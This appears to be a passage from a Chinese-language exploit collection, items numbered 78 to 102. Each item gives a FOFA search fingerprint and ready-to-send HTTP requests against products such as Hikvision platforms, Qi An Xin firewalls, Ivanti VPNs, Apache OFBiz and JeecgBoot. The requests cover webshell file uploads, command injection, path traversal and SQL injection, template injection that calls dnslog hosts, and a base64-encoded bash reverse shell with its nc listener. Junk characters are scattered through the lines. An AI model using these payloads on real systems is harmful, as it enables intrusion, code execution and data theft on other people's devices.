5 d. b1 h; \( {# rAccept: */*
' \: h2 |" S8 P9 X7 @. g  [0 Q2 DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
0 z! T8 ?4 Z' e, w$ o4 |
------------398jnjVTTlDVXHlE7yYnfwBoix
& e% v/ ]8 c5 k+ N' bContent-Disposition: form-data; name="folder"
3 [) b( \2 ~$ ]# ?! U# s: `: q
' ~8 ^$ g, W: S4 F; y; o$ S/ S/upload/udplog
  J2 N8 ]; |8 c( R* d2 N+ B0 t------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
; ?0 e& W" C" T2 C) A: P8 X- IContent-Type: application/octet-stream

; A: B( E, z8 \& M- chello1234567
% v8 d4 B" @: C7 v9 h) G------------398jnjVTTlDVXHlE7yYnfwBoix
3 V* d5 l; p2 U0 N; h  H8 `Content-Disposition: form-data; name="Upload"

Submit Query
+ _0 b; @/ B' z( F" q7 W$ g6 a------------398jnjVTTlDVXHlE7yYnfwBoix--
/ P+ A9 {) _& X' E0 _0 w1 c2 j
9 C$ R6 M/ j# k5 ~2 C+ a
3 F8 E$ ]) X  L: {8 |78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
: B, o# |% p! ^% S' [& jFOFA：icon_hash="2001627082"
$ H2 ~, X" t- t8 W3 `! NPOST /Platform/System/FileUpload.ashx HTTP/1.1
, O5 e) `  j0 g; R/ g3 u7 D( AHost: x.x.x.x
2 ]# t% g; i; B# A+ }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
) x2 H% U9 z" o) Q5 N7 F+ N7 qContent-Length: 336
: B8 L7 {4 i, aAccept-Encoding: gzip
, Q2 p% {% c  w8 I" p' ]Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
- {& X! r) q3 k' R9 O
& p$ g+ l9 N, L------YsOxWxSvj1KyZow1PTsh98fdu6l
+ s4 R- C* ^0 `# n, E+ T# |8 n( FContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

9 h5 _- N( P! W$ r6 W/ q: ?% vYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
, [4 r( v; K$ @6 `/ l# l. [$ lContent-Disposition: form-data; name="target"
% O1 O/ M* [# a9 V2 u$ I" b
/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--


, P* H1 v8 N9 s+ T; v8 }) NGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
9 b9 Q+ b( j& I* WHost: x.x.x.x

. @! h1 H) d5 `' [5 n
0 N' X- I" O% p9 z3 m9 [79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
! k6 R% l! G0 H& T/ @Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 `& Y, a# l# }! c6 a& nAccept-Encoding: gzip, deflate
- W; u6 w; M, L9 I/ i) H# E; e) ~1 AConnection: close
. D3 k( O" o6 o5 s0 I& q; @Upgrade-Insecure-Requests: 1


2 l# i' T3 J+ k, Z' b. n80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
5 j8 Y4 a* Z: P1 ]% t3 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 `9 R+ ?) z" p6 I; ]$ M" i$ bContent-Length: 27
4 J# l  [: T# r1 fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ W4 Y+ s5 H0 O( e" ]1 U4 g7 [Accept-Encoding: gzip, deflate
3 ^9 I" t- m0 @2 o) u5 `. g# HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) R$ b/ U& H# ]/ A, @6 ?- @( ~Connection: close
Content-Type: application/octet-stream
+ {. z# u* P4 P! C- i8 `7 XUpgrade-Insecure-Requests: 1

1 y1 S5 l5 e5 m7 ~7 ~7 j5 w<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
4 G" @+ j+ O( F4 q" ]7 H# u; `7 u% nHost: x.x.x.x
' R9 o+ o7 z2 q7 hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( b' N) T: z- N1 ^7 KConnection: close
6 j$ h; l: ^& |7 ~7 S+ m4 IAccept-Encoding: gzip
8 O5 ^  L4 f$ D! d

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
2 I& D8 d6 w! U- ^( uFOFA：app="uniview-视频监控"
. r% s0 v$ Y( m: `' `2 i3 q- nGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
& f) J& }8 }5 p2 D6 uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
( z  S1 W5 d( s# cAccept-Encoding: gzip

* h. d0 W" l4 E4 l) A
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
: i/ Z9 G7 L1 q3 f, E8 F* @FOFA：app="思福迪-LOGBASE"
& K1 s" X) M! g1 q9 f$ ePOST /bhost/test_qrcode_b HTTP/1.1
) Z/ X8 e- N( r% U0 E8 {8 k  O+ n2 f  yHost: BaseURL
User-Agent: Go-http-client/1.1
2 i5 h; {" r1 [, C% f5 ~Content-Length: 23
) P% ]& e( w- R& U0 }Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost

. b$ {7 j" J6 Q9 ^6 k  h
3 ?" k9 V1 a7 T; X83. JeecgBoot testConnection 远程命令执行
. B* t; p9 f! g6 j' VFOFA：title=="JeecgBoot 企业级低代码平台"

0 L  Y3 G' c8 C1 X# g: R
POST /jmreport/testConnection HTTP/1.1
7 ]% f6 m1 k% d* P  n% ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  X4 g# v3 F0 V% I/ ^2 c2 VContent-Length: 8881
. A8 z" Y2 j0 `% W1 @Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
  L9 }8 B. V7 E% c$ w
3 s( ]" i/ W, u. ^3 a3 zPAYLOAD
4 _3 b9 D( |7 c) [) }( s! t9 ~
. q1 B2 F" h9 {$ j9 Q! Z+ C  k. z9 ^. c84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
! S* T; }0 V; y5 @$ c  `
4 k1 M4 B' y. I, A0 V# k6 [
. _# ]( h; v- P3 ]- e: M
9 P* d1 H+ k9 t' [7 Z! ?1 A, |POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
0 C! d& V) S" j! }) v# i& pConnection: close
2 O' I- G& }3 vContent-Type: application/json
) m6 o! r% J9 i7 ^  a0 \Accept-Encoding: gzip
" [: J: X2 L5 D
+ h0 S* U% ~" [0 c{
4 \; _1 Y- ?0 a- a "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
7 [- x7 g& F# s! t3 Z: |' {9 T9 M  "type": "0"
}
8 L* i$ u; ?6 s! M+ D) R4 O

: ]( J3 H# {8 [. I: Q5 |85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
! z( v: ]7 L0 s0 PEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
% q% q5 x0 t: U; ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD
3 A  J; X/ {" b' M( ?
回显URL：http://x.x.x.x/userfiles/index.jsp
7 V3 J" v$ m& I1 D& @
# h8 T  W0 m/ l( a$ O86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
: j. D7 J% D6 I. t( b8 pPOST /cgi-bin/network_test.php HTTP/1.1
: i6 B0 ^2 C1 }) I  gHost: x.x.x.x
0 o7 z7 W. t0 J8 N1 x4 MUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
7 [7 z+ ^$ H& ?2 vContent-Length: 44
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
  J5 Z' S9 a! ]Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
7 k/ J4 o  o; H% c( h6 A

- \& U5 K# m& y87. 安恒明御安全网关aaa_local_web_preview文件上传
) k& H- X1 z, ^, t9 p  ?3 iFOFA：title="明御安全网关"
( W; Z. A3 c% W* |, XPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
9 J# |: q; e' w$ H  P6 T0 b$ rHost: X.X.X.X
, p5 U4 @- X2 y: M' T6 RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
$ `% ~' o+ L$ l5 [. _5 CAccept-Encoding: gzip
9 \( n' }2 c: G( P+ D0 pContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
; d, J1 ?0 R1 w- n  d
--qqobiandqgawlxodfiisporjwravxtvd
6 b6 E; U; ?8 U) D& `Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
  w% l& d( }3 n$ v6 ?, y9 M- i
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
* g! y! N; j8 N4 A6 G: \' s--qqobiandqgawlxodfiisporjwravxtvd--
! W& r2 V# `7 i; |5 K
2 s  D2 j) o6 S+ B  ]6 g
* q$ g3 \2 P2 j) ]) h) H/jfhatuwe.php
3 r4 C0 `# [4 U4 `0 t3 b7 {
  s4 v: ]1 r  i4 S8 i9 J$ J' g88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
/ R6 c5 U. n5 LFOFA：title="明御安全网关"
+ M7 k! G0 F* J' m, K9 tGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
" _) a- a) Q, s9 a3 B) r! CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, {" z) h* W+ ^- i  r5 fConnection: close
: x5 K: F6 _( _/ v$ p* F) Y/ j
4 w2 }, j, |* W, l
* K& t1 A4 P  @6 H/ r) ?* l9 f/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
2 |5 N& {) d4 o- `' zPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
9 C3 @6 Y; C. F9 Z. h. [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
5 E/ a% ~6 p/ O" s3 c: P7 OContent-Length: 41
! z- g) I- d/ eContent-Type: application/x-www-form-urlencoded
% ^6 _$ K( v  tAccept-Encoding: gzip
$ Y% ~( Y0 u. N
option=2&GUID=-1'+union+select+111*222--+
) Q2 {6 D1 i! i. f/ m  g) J
; `/ J$ Z  F' g2 X( f" W
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
$ r& w2 V6 m: S: sPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
& |7 @# v+ ]5 n6 Q+ `) O# YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
0 H" L3 ^' U8 v$ ]Content-Length: 51
: z- R. [& e  o& p/ k6 {- BAccept: application/json, text/javascript, */*; q=0.01
( q2 u, B  n" @% R( h3 T( @5 [Accept-Encoding: gzip, deflate
- A- ~( Y" J+ T( nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" V1 N+ c. s& S3 `  y  FConnection: close
) W$ ^8 r: Z2 b( l* a1 D# Q' ]Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

# @( P6 d+ m/ \8 r: K9 p/ G
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
& s3 n2 @4 W. c& a# m8 _+ VFOFA：title="综合安防管理平台"
# ^+ ?0 R5 M; `5 i4 hGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
9 u& [2 u& V8 |% N5 O" \Accept-Encoding: gzip, deflate
: r( I* o( H7 }) t1 NAccept: */*
Connection: keep-alive

6 X" a5 ^9 o( K5 [% p3 \
$ a( ~( P1 {. x% x  H& y6 K- y3 e
+ A1 r; Z6 p( g8 _92. 海康威视运行管理中心session命令执行
; S7 `( Z5 u: j3 uFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
' x- [- [4 G$ |0 o4 A1 bAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
$ f/ h6 c0 q& zContent-Type: application/json;charset=UTF-8
0 A) w" i# Z2 U% l6 @$ @X-Language-Type: zh_CN
Testcmd: echo test
, P+ J' W4 Y' o5 p/ }! S8 e- FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
' F, q% e1 E. k9 t
: `- Y3 w6 D. ]4 ^& g, vPAYLOAD
, Y' Y# _1 Y. n  C  _: i$ w

- `7 ?' e1 \# F3 i  `9 x& S, H& e93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
+ t/ i! n; A' W* q/ w" b6 gContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
0 |, ]6 y: N" Z# eUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
1 P+ o0 {) a0 F6 Z
8 |0 e, ~% W- r) A! M- t( c& j  D------WebKitFormBoundarykcbkgdfx
' v$ W, i, @$ c0 vContent-Disposition: form-data; name="MAX_FILE_SIZE"
* q+ l& x3 F' x3 _/ H
, I$ J( w5 p  {( m10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
* y( s* m, p+ H9 i+ v0 GContent-Type: text/plain
6 Y& n0 N) o" t! ^1 b% U! @
- n0 n- }+ h" z; X% U4 Jwagletqrkwrddkthtulxsqrphulnknxa
4 m5 W1 n& x; B/ L------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
- }  X& F; {6 N+ t5 E# Q1 A
obj_app_upfile
6 v6 e- Y2 N! e9 d1 d0 I4 v3 W/ `------WebKitFormBoundarykcbkgdfx
5 |: H/ T/ u3 u5 ]" E/ MContent-Disposition: form-data; name="__hash__"
6 Q3 n8 S4 ~0 S. v
  p; u* z. l4 ?) @* P6 l+ b& `0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

6 v+ |& @- |1 C+ Z. [7 H
GET /attachements/xlskxknxa.txt HTTP/1.1
% ~5 o$ }" l) FHost: xx.xx.xx.xx
' [. ]7 {1 D0 G7 B  u% r* d, y5 S! f: LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 ?# b. W4 z$ ]) _) {; x

94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
8 N. i' o4 g. O9 v3 k" }9 VPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
) R, e# n9 ~$ }* _: H! ^5 S
' F0 j$ z8 n. @6 g------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
$ i: a$ h1 f4 g- e# N0 H6 NContent-Type: text/plain
+ J! X2 m; [/ N- b1 d. V' N
pxplitttsrjnyoafavcajwkvhxindhmu
# A/ V9 x/ M! n2 i( ~------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
  ]* L) K6 l0 G- q9 e! c" X
$ N: e; f2 @3 \& k5 h, k0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--



( L9 V. d/ i' {GET /attachements/xlskxknxa.txt HTTP/1.1
- J" h( U6 A" R* LHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

9 K0 v8 \9 D3 D4 w% w# j, u! \

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
! l, H  U2 {0 ]/ e: b8 v1 mFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
- Z; m5 H$ P0 O, q. FConnection: close
8 Q" s* \8 E* ^8 P& L& yContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
; p/ w' C' K' O
<?xml version="1.0"?>
<methodCall>
3 e; S3 o& e" T/ d+ r, i) b% g* b   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
- {; z1 l/ K/ b! S4 s+ W0 c6 h    <params>
7 t3 |) n" }! G* R" I! M8 A% Y- m      <param>
      <value>
( Z" w. \2 {6 z9 A0 ~# s* ^        <struct>
       <member>
; B0 D- i) R% F3 U" I9 U          <name>test</name>
( I7 f5 y. I# s( r: x" S# ?          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
* v) K6 Q8 `+ q) A          </value>
! ~, }/ U! j6 u7 ~7 P        </member>
      </struct>
      </value>
5 \* C: ~  Y2 s( I6 p7 E) Z, p4 G- t    </param>
    </params>
& {* C! _+ ?9 u/ M</methodCall>
* J0 ^0 F+ `! G  ]4 x2 @
+ H! z5 ?* R9 L; B0 F
: Q5 x9 J0 {& d9 f) Q1 |) \' b& O用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
# U$ @+ ^+ u/ j; XHost: 192.168.40.130:8443
8 c7 }& d1 }8 c* L8 F$ m$ [User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
& M6 ^& H2 B( \- F+ d0 i1 V$ uContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
) W& X' X* v( A7 m  f
PAYLOAD
7 ^# d* v: I8 o$ I
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
- D$ j( h8 Z: S. h- I& p6 j2 dHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( H2 t* P) R: x+ r5 MAccept: */*
( }) q7 ?) [6 pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ D* O0 ?. F, T: x& F; CContent-Type: application/x-www-form-urlencoded
Content-Length: 55
: J# g( i! R5 ?( I7 O4 x$ L
  z1 ^7 K! I( dgroovyProgram=throw+new+Exception('id'.execute().text);
* G# C2 V9 e  N; k8 t5 [
( W% L% C) _3 q) s. T" e: y
反弹shell
在kali上启动一个监听
! r- X, C1 P: J$ Nnc -lvp 7777

! {! C9 m, E% U$ y. ]: l" O( hPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
4 Q5 v  ~* F) U' s: OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- I0 t2 e( J# q. E8 g9 w: J0 v/ ^" LAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; t8 t& g/ q1 l2 e0 a' iContent-Type: application/x-www-form-urlencoded
: t7 x2 P& d# Z( h4 q5 C" NContent-Length: 71

. q  m% E5 ?- i0 w5 a6 A& QgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
3 e6 W6 p6 F+ u- x5 E8 @8 C, _7 |
# @1 q0 i' s9 s97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
, w9 ~# s/ r* w' p) l8 nGET /passport/login/ HTTP/1.1
) E2 g( |& P3 [3 F  c1 m9 P" ]Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

4 D& G$ V# Q' V- c
98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
* A6 ~! i) ]: r9 QHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
% b  y4 k% j7 _- o* ?+ }1 L2 JConnection: close
- t; `% n$ |/ E, k  z* d: U+ YContent-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- O* s8 T2 `/ Y$ r! l2 _7 Y: UContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
4 r; g- J, k( \1 Q. a- D

4 \) c# i. W' v  P4 S$ s, S99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
, k. z. S+ R" s1 W) s3 m; Q! _FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
. j2 w" t7 |: y9 |/ _4 qHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' {- ?$ T+ _$ N" G" ]8 s  T/ K$ rConnection: close
Content-Length: 154
Accept: */*
' l- e- B# k( m8 dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
3 t, r* Y+ L" a9 JX-Requested-With: XMLHttpRequest
- V, ?. r% l- E3 p9 _
6 N& }* i. l5 J: @4 c( S%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
) ]" H$ I6 K! y$ Y$ J8 }4 a: ^

100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
* Y# p  N5 h, Q. R# LFOFA：icon_hash="874152924"
8 L9 N5 ~7 L; i$ |POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
$ W' }3 X& `: g6 G) h2 zConnection: close
0 J6 N6 Z6 B2 N3 \! O& \) Z* x. rContent-Length: 201
- W" G5 {3 Y: B. v' w- C" r- gContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
: k  C% r# y! fAccept-Encoding: gzip

; {8 J* c$ M( L7 n' O" X------WebKitFormBoundarygcflwtei
0 U1 Q: j5 n: o' jContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
% G: w- \+ Z/ [0 @  S+ g4 B" k2 A& A, F
2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--


/ o$ G7 H5 P5 J$ K% F$ }- P101. ivanti policy secure-22.6命令注入
: E" M1 B% {, ACVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
2 R9 Q' w2 S' O2 r- [1 tGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
5 _9 [) |. S' x( Z% L) K: UUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
, Q% c- |1 A. F+ NAccept-Encoding: gzip

+ N0 L* A5 d; u) P* b% P3 k! i
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
+ S( C, q: T; b: @9 [CVE-2024-21893
1 g7 n: |/ U3 fFOFA：body="welcome.cgi?p=logo"
/ i9 |. g2 R) PPOST /dana-ws/saml20.ws HTTP/1.1
0 g! \1 c8 F# r( m! yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
3 f, m( q/ A" q7 I: }Content-Length: 792
, }" Z3 k3 I" j& J/ v% OAccept-Encoding: gzip
( E, U2 O/ }& F- b! e- F
